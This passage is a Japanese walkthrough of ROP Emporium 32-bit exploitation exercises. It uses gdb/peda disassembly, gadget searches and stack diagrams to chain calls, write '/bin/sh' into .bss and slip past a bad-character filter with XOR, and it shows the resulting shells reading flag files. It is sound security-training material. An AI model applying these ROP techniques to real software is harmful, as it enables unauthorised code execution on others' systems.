<+201>: lea eax,[ebx-0x1591] 0x00000981 <+207>: push eax 0x00000982 <+208>: call 0x510 <printf@plt> 0x00000987 <+213>: add esp,0x10 0x0000098a <+216>: sub esp,0xc 0x0000098d <+219>: push 0x0 0x0000098f <+221>: call 0x560 <exit@plt> 0x00000994 <+226>: sub esp,0xc 0x00000997 <+229>: lea eax,[ebx-0x15e8] 0x0000099d <+235>: push eax 0x0000099e <+236>: call 0x550 <puts@plt> 0x000009a3 <+241>: add esp,0x10 0x000009a6 <+244>: sub esp,0xc 0x000009a9 <+247>: push 0x1 0x000009ab <+249>: call 0x560 <exit@plt> End of assembler dump.
oneとtwoと同様に第1引数が1,第2引数が2,第3引数が3であるかどうかチェックし,fopenしています.その後,twoで0xfまでカウントした変数を用いて,今度は0x1fまでループしています.つまりまた16回のループです.そして,twoと同様にxorしています.twoと違うのはその後です.何かをprintfで出力してexitしています.
今回はencrypted_flag.txtとkey1.dat, key2.datという3つのファイルが渡されていますが,ここまでの結果を元に考えると
- callme_oneでencrypted_flag.txtを開く
- callme_twoでkey1.datを開き,xorで半分を復号
- callme_threeでkey2.datを開き,xorでもう半分を復号
- なお,3つの関数の引数は1, 2, 3にしなければならない
こんな感じになりそうです.
問題文にも You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag.
と書かれているので間違いなさそうです.
問題はこれらの関数をどういう風に呼ぶかですが,ここでROPというテクニックが出てきます.ROPとはReturn Oriented Programmingの略であり,popやret命令を繰り返しながらジャンプするように任意コードを実行していくものであり,これを実現するためにpopやretで固まっているコード片(通称ROP gadget)を探す必要があります.
今回の場合,
+-+-+-+-+-+-+-+ ↑low ............... +-+-+-+-+-+-+-+ callme_one +-+-+-+-+-+-+-+ return address +-+-+-+-+-+-+-+ 0x1 +-+-+-+-+-+-+-+ 0x2 +-+-+-+-+-+-+-+ 0x3 +-+-+-+-+-+-+-+ callme_two +-+-+-+-+-+-+-+ return address +-+-+-+-+-+-+-+ 0x1 +-+-+-+-+-+-+-+ 0x2 +-+-+-+-+-+-+-+ 0x3 +-+-+-+-+-+-+-+ callme_three +-+-+-+-+-+-+-+ return address +-+-+-+-+-+-+-+ 0x1 +-+-+-+-+-+-+-+ 0x2 +-+-+-+-+-+-+-+ 0x3 +-+-+-+-+-+-+-+ ............... +-+-+-+-+-+-+-+ ↓ high
このようなスタックの状態に持っていければ良いのですが,普通のreturn addressを渡してもcallme_oneを呼んだ後に次はcallme_two...という風に綺麗に繋がっていきません.そこで,以下のようなROP gadgetをreturn addressにするとどうでしょうか?
pop esi pop edi pop ebp ret
0x1, 0x2, 0x3をそれぞれpopしてからcallme_twoをret,0x1, 0x2, 0x3をpopしてcallme_threeをret という風に繋げることができます.このような連鎖をROP chainと言います.では,上記のようなROP gadgetを探します.
ROP gadgetを探すツールはいろいろありますが,簡単なものならpedaで十分です.pedaでstartしてからropgadgetコマンドを実行します.
$ gdb callme32 Reading symbols from callme32...(no debugging symbols found)...done. gdb-peda$ start ................................... gdb-peda$ ropgadget ret = 0x8048562 popret = 0x8048579 pop3ret = 0x80488a9 pop4ret = 0x80488a8 pop2ret = 0x80488aa addesp_12 = 0x8048576 addesp_16 = 0x80486a5
pop3retというのが上記のROP gadgetです.
gdb-peda$ x/4i 0x80488a9 0x80488a9 <__libc_csu_init+89>: pop esi 0x80488aa <__libc_csu_init+90>: pop edi 0x80488ab <__libc_csu_init+91>: pop ebp 0x80488ac <__libc_csu_init+92>: ret
これらの情報を元に,exploitを書いていきます.
exploit
$ python callme32-exploit.py [+] Starting local process './callme32': pid 14666 callme by ROP Emporium 32bits Hope you read the instructions... > [*] Process './callme32' stopped with exit code 0 (pid 14666) ROPE{a_placeholder_32byte_flag!}
おまけ
exploitの中に
f = open('input.txt', 'w') f.write(payload) f.close()
と書いて出力されたinput.txtを元に,gdbにて
$ gdb callme32 Reading symbols from callme32...(no debugging symbols found)...done. gdb-peda$ b *0xXXXXXXXX gdb-peda $ run < input.txt
(適当な場所にブレークポイントを仕掛けてから,実際にROPが実行されていく様をステップ実行してみると,より理解が深まるかと思います)
write4
$ file write432 write432: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1bbd4a55b5c333daf5020efbb77b8c38fc0d8601, not stripped $ ./write432 write4 by ROP Emporium 32bits Go ahead and give me the string already! > hoge Exiting
gdbで見てみます.
$ gdb write432 Reading symbols from write432...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x080483c0 _init 0x08048400 printf@plt 0x08048410 fgets@plt 0x08048420 puts@plt 0x08048430 system@plt 0x08048440 __libc_start_main@plt 0x08048450 setvbuf@plt 0x08048460 memset@plt 0x08048480 _start 0x080484b0 __x86.get_pc_thunk.bx 0x080484c0 deregister_tm_clones 0x080484f0 register_tm_clones 0x08048530 __do_global_dtors_aux 0x08048550 frame_dummy 0x0804857b main 0x080485f6 pwnme 0x0804864c usefulFunction 0x08048670 usefulGadgets 0x08048680 __libc_csu_init 0x080486e0 __libc_csu_fini 0x080486e4 _fini
usefulGadgetsという関数が追加されています.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0804864c <+0>: push ebp 0x0804864d <+1>: mov ebp,esp 0x0804864f <+3>: sub esp,0x8 0x08048652 <+6>: sub esp,0xc 0x08048655 <+9>: push 0x8048754 0x0804865a <+14>: call 0x8048430 <system@plt> 0x0804865f <+19>: add esp,0x10 0x08048662 <+22>: nop 0x08048663 <+23>: leave 0x08048664 <+24>: ret End of assembler dump. gdb-peda$ x/s 0x8048754 0x8048754: "/bin/ls"
usefulFunctionはlsするだけのようです.
usefulGadgets
gdb-peda$ disas usefulGadgets Dump of assembler code for function usefulGadgets: 0x08048670 <+0>: mov DWORD PTR [edi],ebp 0x08048672 <+2>: ret 0x08048673 <+3>: xchg ax,ax 0x08048675 <+5>: xchg ax,ax 0x08048677 <+7>: xchg ax,ax 0x08048679 <+9>: xchg ax,ax 0x0804867b <+11>: xchg ax,ax 0x0804867d <+13>: xchg ax,ax 0x0804867f <+15>: nop End of assembler dump.
どうやら mov DWORD PTR [edi],ebp
というGadgetを使うっぽいです.念のためsplit32の時のように都合のいい文字列が無いかstringsで探してみますが,見つかりません.このGadgetを使って,任意の文字列を格納するしかなさそうです.
このアセンブリは,ediに格納されている値を4バイトのアドレスと見て,そこにebpの値を格納します.ということは,ebpに任意の文字列を渡して,ediにとあるアドレスを格納しておけば,うまくいきそうです.
ediにはどういうアドレスを渡すべきでしょうか?
前提として,書き込み可能な領域でないとダメです.実行ファイル中にどんな領域があるのか調べてみます.
$ readelf -S write432 31 個のセクションヘッダ、始点オフセット 0x196c: セクションヘッダ: [番] 名前 タイプ アドレス Off サイズ ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000030 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481dc 0001dc 0000d0 10 A 6 1 4 [ 6] .dynstr STRTAB 080482ac 0002ac 000081 00 A 0 0 1 [ 7] .gnu.version VERSYM 0804832e 00032e 00001a 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 08048348 000348 000020 00 A 6 1 4 [ 9] .rel.dyn REL 08048368 000368 000020 08 A 5 0 4 [10] .rel.plt REL 08048388 000388 000038 08 AI 5 24 4 [11] .init PROGBITS 080483c0 0003c0 000023 00 AX 0 0 4 [12] .plt PROGBITS 080483f0 0003f0 000080 04 AX 0 0 16 [13] .plt.got PROGBITS 08048470 000470 000008 00 AX 0 0 8 [14] .text PROGBITS 08048480 000480 000262 00 AX 0 0 16 [15] .fini PROGBITS 080486e4 0006e4 000014 00 AX 0 0 4 [16] .rodata PROGBITS 080486f8 0006f8 000064 00 A 0 0 4 [17] .eh_frame_hdr PROGBITS 0804875c 00075c 00003c 00 A 0 0 4 [18] .eh_frame PROGBITS 08048798 000798 00010c 00 A 0 0 4 [19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4 [20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4 [21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4 [22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 [23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 [24] .got.plt PROGBITS 0804a000 001000 000028 04 WA 0 0 4 [25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4 [26] .bss NOBITS 0804a040 001030 00002c 00 WA 0 0 32 [27] .comment PROGBITS 00000000 001030 000034 01 MS 0 0 1 [28] .shstrtab STRTAB 00000000 001861 00010a 00 0 0 1 [29] .symtab SYMTAB 00000000 001064 000510 10 30 50 4 [30] .strtab STRTAB 00000000 001574 0002ed 00 0 0 1 フラグのキー: W (write), A (alloc), X (実行), M (merge), S (文字列) I (情報), L (リンク順), G (グループ), T (TLS), E (排他), x (不明) O (追加の OS 処理が必要) o (OS 固有), p (プロセッサ固有)
Wというフラグが立っている場所が書き込み可能な場所です.あまり影響が出なそうな場所として,今回はbssセクションを使用してみます.bssセクションは初期化していないstaticな変数が格納される領域です.
次に,ROP gadgetを探します.pop edi; pop ebp; ret のようなGadgetを探しますが,これもpedaで十分です.
$ gdb write432 Reading symbols from write432...(no debugging symbols found)...done. gdb-peda$ start .............. gdb-peda$ ropgadget ret = 0x804819d popret = 0x80483e1 pop2ret = 0x80486da pop4ret = 0x80486d8 pop3ret = 0x80486d9 addesp_12 = 0x80483de addesp_16 = 0x80484e5 gdb-peda$ x/3i 0x80486da 0x80486da <__libc_csu_init+90>: pop edi 0x80486db <__libc_csu_init+91>: pop ebp 0x80486dc <__libc_csu_init+92>: ret gdb-peda$
pop2retというGadgetです.
引数の渡し方として,以下のように4バイトずつ渡していきます.2回目に書き込む場所としては,bss address + 4となります.
+-+-+-+-+-+-+-+ ↑low ............... +-+-+-+-+-+-+-+ pop2ret +-+-+-+-+-+-+-+ bss address +-+-+-+-+-+-+-+ "/bin" +-+-+-+-+-+-+-+ mov edi ebp +-+-+-+-+-+-+-+ ............... +-+-+-+-+-+-+-+ ↓ high
exploitは以下のようになります.
exploit
$ python write432-exploit.py [+] Starting local process './write432': pid 17483 write4 by ROP Emporium 32bits Go ahead and give me the string already! > [*] Switching to interactive mode $ $ whoami yyy $ cat flag.txt ROPE{a_placeholder_32byte_flag!}
badchars
$ file badchars32 badchars32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=646a0ec0b6adaad4385d7845987e7001264db871, not stripped $ ./badchars32 badchars by ROP Emporium 32bits badchars are: b i c / <space> f n s > hoge Exiting
gdbで見てみます.
$ gdb badchars32 Reading symbols from badchars32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08048440 _init 0x08048480 printf@plt 0x08048490 free@plt 0x080484a0 memcpy@plt 0x080484b0 fgets@plt 0x080484c0 malloc@plt 0x080484d0 puts@plt 0x080484e0 system@plt 0x080484f0 exit@plt 0x08048500 __libc_start_main@plt 0x08048510 setvbuf@plt 0x08048520 memset@plt 0x08048540 _start 0x08048570 __x86.get_pc_thunk.bx 0x08048580 deregister_tm_clones 0x080485b0 register_tm_clones 0x080485f0 __do_global_dtors_aux 0x08048610 frame_dummy 0x0804863b main 0x080486b6 pwnme 0x080487a9 usefulFunction 0x080487c2 nstrlen 0x08048801 checkBadchars 0x08048890 usefulGadgets 0x080488a0 __libc_csu_init 0x08048900 __libc_csu_fini 0x08048904 _fini
nstrlen,checkbadcharsなど見慣れない関数があります.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x080487a9 <+0>: push ebp 0x080487aa <+1>: mov ebp,esp 0x080487ac <+3>: sub esp,0x8 0x080487af <+6>: sub esp,0xc 0x080487b2 <+9>: push 0x8048973 0x080487b7 <+14>: call 0x80484e0 <system@plt> 0x080487bc <+19>: add esp,0x10 0x080487bf <+22>: nop 0x080487c0 <+23>: leave 0x080487c1 <+24>: ret End of assembler dump. gdb-peda$ x/s 0x8048973 0x8048973: "/bin/ls"
またlsするだけの関数のようなので,write4の時と同様に/bin/shを引数にsystemを呼びたいところです.
nstrlen
gdb-peda$ disas nstrlen Dump of assembler code for function nstrlen: 0x080487c2 <+0>: push ebp 0x080487c3 <+1>: mov ebp,esp 0x080487c5 <+3>: sub esp,0x10 0x080487c8 <+6>: mov DWORD PTR [ebp-0x4],0x0 0x080487cf <+13>: mov DWORD PTR [ebp-0x4],0x0 0x080487d6 <+20>: jmp 0x80487f4 <nstrlen+50> 0x080487d8 <+22>: mov edx,DWORD PTR [ebp+0x8] 0x080487db <+25>: mov eax,DWORD PTR [ebp-0x4] 0x080487de <+28>: add eax,edx 0x080487e0 <+30>: movzx eax,BYTE PTR [eax] 0x080487e3 <+33>: cmp al,0xa 0x080487e5 <+35>: jne 0x80487f0 <nstrlen+46> 0x080487e7 <+37>: add DWORD PTR [ebp-0x4],0x1 0x080487eb <+41>: mov eax,DWORD PTR [ebp-0x4] 0x080487ee <+44>: jmp 0x80487ff <nstrlen+61> 0x080487f0 <+46>: add DWORD PTR [ebp-0x4],0x1 0x080487f4 <+50>: mov eax,DWORD PTR [ebp-0x4] 0x080487f7 <+53>: cmp eax,DWORD PTR [ebp+0xc] 0x080487fa <+56>: jb 0x80487d8 <nstrlen+22> 0x080487fc <+58>: mov eax,DWORD PTR [ebp-0x4] 0x080487ff <+61>: leave 0x08048800 <+62>: ret End of assembler dump.
0x80487d8 - 0x080487fa の間をループしていますが,注目すべきは0x080487e3のcmp al, 0xaで,0xaはASCIIコードで改行を表し,改行まで何文字あるかを,[ebp-0x4]の値を更新しながらループしているように見えます.つまり,入力値が何文字か調べる関数のようです.
checkBadchars
gdb-peda$ disas checkBadchars Dump of assembler code for function checkBadchars: 0x08048801 <+0>: push ebp 0x08048802 <+1>: mov ebp,esp 0x08048804 <+3>: sub esp,0x10 0x08048807 <+6>: mov BYTE PTR [ebp-0x10],0x62 0x0804880b <+10>: mov BYTE PTR [ebp-0xf],0x69 0x0804880f <+14>: mov BYTE PTR [ebp-0xe],0x63 0x08048813 <+18>: mov BYTE PTR [ebp-0xd],0x2f 0x08048817 <+22>: mov BYTE PTR [ebp-0xc],0x20 0x0804881b <+26>: mov BYTE PTR [ebp-0xb],0x66 0x0804881f <+30>: mov BYTE PTR [ebp-0xa],0x6e 0x08048823 <+34>: mov BYTE PTR [ebp-0x9],0x73 0x08048827 <+38>: mov DWORD PTR [ebp-0x4],0x0 0x0804882e <+45>: mov DWORD PTR [ebp-0x8],0x0 0x08048835 <+52>: mov DWORD PTR [ebp-0x4],0x0 0x0804883c <+59>: jmp 0x804887c <checkBadchars+123> 0x0804883e <+61>: mov DWORD PTR [ebp-0x8],0x0 0x08048845 <+68>: jmp 0x8048872 <checkBadchars+113> 0x08048847 <+70>: mov edx,DWORD PTR [ebp+0x8] // [ebp+0x8]は入力値 0x0804884a <+73>: mov eax,DWORD PTR [ebp-0x4] 0x0804884d <+76>: add eax,edx 0x0804884f <+78>: movzx edx,BYTE PTR [eax] 0x08048852 <+81>: lea ecx,[ebp-0x10] // [ebp-0x10]はbadcharsが格納された配列の先頭 0x08048855 <+84>: mov eax,DWORD PTR [ebp-0x8] 0x08048858 <+87>: add eax,ecx 0x0804885a <+89>: movzx eax,BYTE PTR [eax] 0x0804885d <+92>: cmp dl,al 0x0804885f <+94>: jne 0x804886e <checkBadchars+109> 0x08048861 <+96>: mov edx,DWORD PTR [ebp+0x8] 0x08048864 <+99>: mov eax,DWORD PTR [ebp-0x4] 0x08048867 <+102>: add eax,edx 0x08048869 <+104>: mov BYTE PTR [eax],0xeb 0x0804886c <+107>: jmp 0x8048878 <checkBadchars+119> 0x0804886e <+109>: add DWORD PTR [ebp-0x8],0x1 0x08048872 <+113>: cmp DWORD PTR [ebp-0x8],0x7 // [ebp-0x8]はbadcharsが格納された配列のindex 0x08048876 <+117>: jbe 0x8048847 <checkBadchars+70> 0x08048878 <+119>: add DWORD PTR [ebp-0x4],0x1 0x0804887c <+123>: mov eax,DWORD PTR [ebp-0x4] // [ebp-0x4]はカウンタ変数 0x0804887f <+126>: cmp eax,DWORD PTR [ebp+0xc] // [ebp+0xc]はnstrlenで求めた入力値の長さ 0x08048882 <+129>: jb 0x804883e <checkBadchars+61> 0x08048884 <+131>: nop 0x08048885 <+132>: leave 0x08048886 <+133>: ret End of assembler dump.
いくつかコメントを書きましたが,全体としては入力値の長さ分ループしています.そして,ループの中でさらに8回ループしていて,badcharsが入力値の中に存在していないかをチェックしています.もしbadcharsがあった場合,それを0xebに置換しています.なお,badcharsというのは "b", "i", "c", "/", "
usefulGadgets
gdb-peda$ disas usefulGadgets Dump of assembler code for function usefulGadgets: 0x08048890 <+0>: xor BYTE PTR [ebx],cl 0x08048892 <+2>: ret 0x08048893 <+3>: mov DWORD PTR [edi],esi 0x08048895 <+5>: ret 0x08048896 <+6>: pop ebx 0x08048897 <+7>: pop ecx 0x08048898 <+8>: ret 0x08048899 <+9>: pop esi 0x0804889a <+10>: pop edi 0x0804889b <+11>: ret 0x0804889c <+12>: xchg ax,ax 0x0804889e <+14>: xchg ax,ax End of assembler dump.
xorがあるので,これを上手く使えば入力値チェックをすり抜けられそうです.
pwnmeがいつもと少し変わっているので見ておきます.
pwnme
gdb-peda$ disas pwnme Dump of assembler code for function pwnme: 0x080486b6 <+0>: push ebp 0x080486b7 <+1>: mov ebp,esp 0x080486b9 <+3>: sub esp,0x38 0x080486bc <+6>: mov DWORD PTR [ebp-0x30],0x0 0x080486c3 <+13>: sub esp,0xc 0x080486c6 <+16>: push 0x200 0x080486cb <+21>: call 0x80484c0 <malloc@plt> 0x080486d0 <+26>: add esp,0x10 0x080486d3 <+29>: mov DWORD PTR [ebp-0x2c],eax 0x080486d6 <+32>: mov eax,DWORD PTR [ebp-0x2c] 0x080486d9 <+35>: test eax,eax 0x080486db <+37>: je 0x80486f5 <pwnme+63> 0x080486dd <+39>: mov eax,DWORD PTR [ebp-0x2c] 0x080486e0 <+42>: sub esp,0x4 0x080486e3 <+45>: push 0x200 0x080486e8 <+50>: push 0x0 0x080486ea <+52>: push eax 0x080486eb <+53>: call 0x8048520 <memset@plt> 0x080486f0 <+58>: add esp,0x10 0x080486f3 <+61>: jmp 0x80486ff <pwnme+73> 0x080486f5 <+63>: sub esp,0xc 0x080486f8 <+66>: push 0x1 0x080486fa <+68>: call 0x80484f0 <exit@plt> 0x080486ff <+73>: sub esp,0x4 0x08048702 <+76>: push 0x20 0x08048704 <+78>: push 0x0 0x08048706 <+80>: lea eax,[ebp-0x30] 0x08048709 <+83>: add eax,0x8 0x0804870c <+86>: push eax 0x0804870d <+87>: call 0x8048520 <memset@plt> 0x08048712 <+92>: add esp,0x10 0x08048715 <+95>: sub esp,0xc 0x08048718 <+98>: push 0x804894c 0x0804871d <+103>: call 0x80484d0 <puts@plt> 0x08048722 <+108>: add esp,0x10 0x08048725 <+111>: sub esp,0xc 0x08048728 <+114>: push 0x8048970 0x0804872d <+119>: call 0x8048480 <printf@plt> 0x08048732 <+124>: add esp,0x10 0x08048735 <+127>: mov edx,DWORD PTR ds:0x804a060 0x0804873b <+133>: mov eax,DWORD PTR [ebp-0x2c] 0x0804873e <+136>: sub esp,0x4 0x08048741 <+139>: push edx 0x08048742 <+140>: push 0x200 0x08048747 <+145>: push eax 0x08048748 <+146>: call 0x80484b0 <fgets@plt> 0x0804874d <+151>: add esp,0x10 0x08048750 <+154>: mov DWORD PTR [ebp-0x2c],eax 0x08048753 <+157>: mov eax,DWORD PTR [ebp-0x2c] 0x08048756 <+160>: sub esp,0x8 0x08048759 <+163>: push 0x200 0x0804875e <+168>: push eax 0x0804875f <+169>: call 0x80487c2 <nstrlen> 0x08048764 <+174>: add esp,0x10 0x08048767 <+177>: mov DWORD PTR [ebp-0x30],eax 0x0804876a <+180>: mov edx,DWORD PTR [ebp-0x30] 0x0804876d <+183>: mov eax,DWORD PTR [ebp-0x2c] 0x08048770 <+186>: sub esp,0x8 0x08048773 <+189>: push edx 0x08048774 <+190>: push eax 0x08048775 <+191>: call 0x8048801 <checkBadchars> 0x0804877a <+196>: add esp,0x10 0x0804877d <+199>: mov edx,DWORD PTR [ebp-0x30] 0x08048780 <+202>: mov eax,DWORD PTR [ebp-0x2c] 0x08048783 <+205>: sub esp,0x4 0x08048786 <+208>: push edx 0x08048787 <+209>: push eax 0x08048788 <+210>: lea eax,[ebp-0x30] 0x0804878b <+213>: add eax,0x8 0x0804878e <+216>: push eax 0x0804878f <+217>: call 0x80484a0 <memcpy@plt> 0x08048794 <+222>: add esp,0x10 0x08048797 <+225>: mov eax,DWORD PTR [ebp-0x2c] 0x0804879a <+228>: sub esp,0xc 0x0804879d <+231>: push eax 0x0804879e <+232>: call 0x8048490 <free@plt> 0x080487a3 <+237>: add esp,0x10 0x080487a6 <+240>: nop 0x080487a7 <+241>: leave 0x080487a8 <+242>: ret End of assembler dump.
少し変わっているといっても,fgetsした後nstrlenで入力値の長さを求めて,その結果を使ってcheckBadcharsにて特定の文字をエスケープしているだけです.
exploitとしては,以下のような方針でいきます.
- /bin/shという文字列の中で,badcharsに含まれるものは事前に適当な値をxorしておく(入力値チェック回避)
- write4で使ったような,任意の文字列を書き込めそうなGadgetを探す
- write4の時と同様のテクニックで任意の文字列を書き込む
- 最後に,usefulGadgetsにあったxorを使って入力値を元の/bin/shに戻す
1は省略し,write4で使った mov DWORD PTR [edi],ebp のようなGadgetがないか探します.
今回はROP gadgetを探すツールを使っていきますが,どれが精度がいいとか正直わからないので,適当なものを選んでください...
自分はこれを使っています. github.com
他にも,rp++を使っている人も多いと思います.
A painter and a black catさんのページのインストール方法を載せておきます. raintrees.net
適当なファイルにリダイレクトしておくと,何度も実行しなくて済むので便利です.
$ ROPgadget --binary badchars32 > ropgadget
mov dword ptrでgrepしてみると,いい感じのGadgetが見つかります.
$ cat ropgadget|grep "mov dword ptr" 0x08048893 : mov dword ptr [edi], esi ; ret 0x08048891 : or eax, ebx ; mov dword ptr [edi], esi ; ret
0x08048893のものを使います.さらに,ediに書き込む先のアドレスを,esiに任意の文字列を渡すために,"pop edi" と "pop esi"が欲しいところです.
ropgadgetから探してみるといい感じのGadgetが見つかります.
$ cat ropgadget|grep "pop esi" |grep "pop edi" .............................................................................................. 0x080488f9 : pop esi ; pop edi ; pop ebp ; ret 0x08048899 : pop esi ; pop edi ; ret
この0x08048899を使えば良かったのですが,僕は解いたときにpeda内でropgadgetコマンドを打って出てきたpop3ret(上記の0x080488f9にあるGadget)を使ってしまったので,下記は0x080488f9のGadgetを使って解いていますが,0x08048899のほうを使ったほうが綺麗に解けるかと思います.
あと,xorする際に必要なGadgetとして, pop ebx ; pop ecx ; ret
のようなものも探しておきます.これは綺麗に1個だけ出てくると思います.
$ cat ropgadget|grep "pop ebx" |grep "pop ecx" 0x08048896 : pop ebx ; pop ecx ; ret
任意の文字列を書き込む先としては,前回のwrite4と同じくreadelfで求めて,bssセクションを書き込み先として使用します.
あとは,頑張ってexploitを書くだけです.
exploit
$ python badchars32-exploit.py [+] Starting local process './badchars32': pid 21188 badchars by ROP Emporium 32bits badchars are: b i c / <space> f n s > [*] Switching to interactive mode $ $ whoami yyy $ cat flag.txt ROPE{a_placeholder_32byte_flag!}
fluff
$ file fluff32 fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2b376a74b4e9897a4220c448d931704a229b8804, not stripped $ ./fluff32 fluff by ROP Emporium 32bits You know changing these strings means I have to rewrite my solutions... > hoge Exiting
gdbで見てみます.
$ gdb fluff32 Reading symbols from fluff32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x080483c0 _init 0x08048400 printf@plt 0x08048410 fgets@plt 0x08048420 puts@plt 0x08048430 system@plt 0x08048440 __libc_start_main@plt 0x08048450 setvbuf@plt 0x08048460 memset@plt 0x08048480 _start 0x080484b0 __x86.get_pc_thunk.bx 0x080484c0 deregister_tm_clones 0x080484f0 register_tm_clones 0x08048530 __do_global_dtors_aux 0x08048550 frame_dummy 0x0804857b main 0x080485f6 pwnme 0x0804864c usefulFunction 0x08048670 questionableGadgets 0x080486a0 __libc_csu_init 0x08048700 __libc_csu_fini 0x08048704 _fini
questionableGadgetsという関数が追加されています.
usefulFunctionから見ていきます.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0804864c <+0>: push ebp 0x0804864d <+1>: mov ebp,esp 0x0804864f <+3>: sub esp,0x8 0x08048652 <+6>: sub esp,0xc 0x08048655 <+9>: push 0x8048793 0x0804865a <+14>: call 0x8048430 <system@plt> 0x0804865f <+19>: add esp,0x10 0x08048662 <+22>: nop 0x08048663 <+23>: leave 0x08048664 <+24>: ret End of assembler dump. gdb-peda$ x/s 0x8048793 0x8048793: "/bin/ls"
例によって,lsするだけの関数になっているので/bin/shをsystemに渡してシェルを起動させたいところです.
questionableGadgets
gdb-peda$ disas questionableGadgets Dump of assembler code for function questionableGadgets: 0x08048670 <+0>: pop edi 0x08048671 <+1>: xor edx,edx 0x08048673 <+3>: pop esi 0x08048674 <+4>: mov ebp,0xcafebabe 0x08048679 <+9>: ret 0x0804867a <+10>: pop esi 0x0804867b <+11>: xor edx,ebx 0x0804867d <+13>: pop ebp 0x0804867e <+14>: mov edi,0xdeadbabe 0x08048683 <+19>: ret 0x08048684 <+20>: mov edi,0xdeadbeef 0x08048689 <+25>: xchg edx,ecx 0x0804868b <+27>: pop ebp 0x0804868c <+28>: mov edx,0xdefaced0 0x08048691 <+33>: ret 0x08048692 <+34>: pop edi 0x08048693 <+35>: mov DWORD PTR [ecx],edx 0x08048695 <+37>: pop ebp 0x08048696 <+38>: pop ebx 0x08048697 <+39>: xor BYTE PTR [ecx],bl 0x08048699 <+41>: ret 0x0804869a <+42>: xchg ax,ax 0x0804869c <+44>: xchg ax,ax 0x0804869e <+46>: xchg ax,ax End of assembler dump.
いろいろなGadgetsがゴチャゴチャしていてよくわかりません.問題文を読む限り,考え方はwrite4と一緒らしいですが,Gadgetを駆使して頑張らないといけないっぽいです.
注目するべきは mov DWORD PTR [ecx], edx
ですかね.ecxとedxに上手く値を用意できればwrite4の時と同様に任意の文字列を書き込むことができそうです.しかし,この問題の面白いところが, pop ecx
と pop edx
が実行ファイル中に見つかりません.
$ ROPgadget --binary fluff32 > ropgadget $ cat ropgadget |grep "pop ecx" $ cat ropgadget |grep "pop edx"
どうしたらよいでしょうか?もう一度questionableGadgetsを見てみます.よく見ると, xor edx,edx
と xor edx,ebx
と xchg edx,ecx
と pop ebx
の4つの命令があると思います.
この4つの命令を駆使すれば,edxとecxに任意の値を用意することができないでしょうか?
例えば,edxに任意の値を用意するなら
- xor edx edx でedxを初期化
- pop ebx でebxに任意の値を用意
- xor edx ebx で0と任意の値との排他的論理和を取ることで,edxには最終的に任意の値が入る
こんな感じです.ecxに格納するなら,
xchg edx, ecx でedxに入れた任意の値とecxを交換
を4つ目に加えれば完璧です.
一つ注意する点としては mov DWORD PTR [ecx],edx
と ret の間に xor BYTE PTR [ecx],bl
という余計な命令が入っている点です.よって,blレジスタには0を入れるようにして,xorによって値が変わらないようにしておきます.
ROP chainの流れとしては,
- bss addressをecxに用意
- /binをedxに用意
- /binをbss addressに格納
- bss address + 4をecxに用意
- /sh\x00をedxに用意
- /sh\x00をbss address + 4に格納
- call system
のようになります.
exploit
$ python fluff32-exploit.py [+] Starting local process './fluff32': pid 24177 fluff by ROP Emporium 32bits You know changing these strings means I have to rewrite my solutions.. [*] Switching to interactive mode . > $ $ whoami yyy $ cat flag.txt ROPE{a_placeholder_32byte_flag!}
pivot
$ file pivot32 pivot32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7d291f508294412d56bfbc9b8a5a36de5330596, not stripped $ ./pivot32 pivot by ROP Emporium 32bits Call ret2win() from libpivot.so The Old Gods kindly bestow upon you a place to pivot: 0xf7dedf08 Send your second chain now and it will land there > hoge Now kindly send your stack smash > fuga Exiting
今回は入力値を2回受け取るようです.
gdbで見てみます.
